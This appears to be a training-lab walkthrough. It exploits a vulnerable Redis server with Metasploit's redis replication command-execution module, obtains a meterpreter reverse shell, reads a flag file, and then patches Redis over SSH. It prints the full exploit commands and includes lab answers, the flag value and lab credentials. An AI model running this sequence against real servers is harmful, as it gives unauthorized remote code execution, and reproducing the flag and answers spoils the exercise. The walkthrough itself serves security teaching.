Redis Server
Last updated
Last updated
You are a system engineer at a paper company called Neat Sheets. Recently, the development department requested a Redis installation on one of the servers, as it is developer friendly and it supports a large variety of programming languages. They say that it is also really fast and that fact piqued your interest as well.
Your first choice was to install Redis version 5.0.7, but a colleague informed you that this version might be vulnerable to arbitrary code execution. You trust him but you decide to see if it is actually doable. You heard that there is an application called Metasploit out there that is perfect for exactly these cases.
Let's start metasploit with the msfconsole
command.
First use the help
command to anwer the following questions:
Which command gets the value of a global variable?
Which command routes traffic through a session?
Which command searches module names and descriptions?
Answers:
getg
route
search
Now that you know what different commands you can use in Metasploit, it is time to choose the right module to test your Redis server.
You have to find a redis replication code executen module.
Redis is running on a linux server
search redis
What is the Disclosure date for the Redis command execution module?
Answer:
2018-11-13
After selecting the module, you just need to set the variables and you can start exploiting. You can do this by running use to select the chosen module:
use exploit/linux/redis/redis_replication_cmd_exec
Now you have to configure framework options and parameters for the module using set. For example, to set the target host for exploitation, you can run:
set RHOSTS <host address>
You will need to do this for LHOST, RHOSTS, and SRVHOST variables with set to specify the source and target IPs found below:
set lhost 192.168.6.1 set rhosts 192.168.6.2 set srvhost 192.168.6.1
Finally, execute the exploit
command to run the exploit.
In Metasploit, LHOST
, RHOST
, and SRVHOST
are some of the most commonly used variable names. LHOST
refers to the IP of your machine, which is usually used to create a reverse connection to your machine after the attack succeeds. RHOST
(or RHOSTS for some modules) refers to the IP address of the target host. SRVHOST
is where the module will connect to download additional payload elements.
show options
exploit
We get a meterpreter shell:
Read the contents of the /root/flag.txt
file in the Redis server.
Content of flag.txt:
thahSh8uaViathaevee6
Login to the Redis server via SSH.
Hostname: server Username: student Password: student
Stop the Redis service. Service: redis.service
Sudo privileges for starting/stopping Redis: already granted Upgrade Redis with Apt. Sudo privileges to use Apt: already granted
ssh student@192.168.6.2
sudo systemctl stop redis
sudo apt-get update
sudo apt-get install redis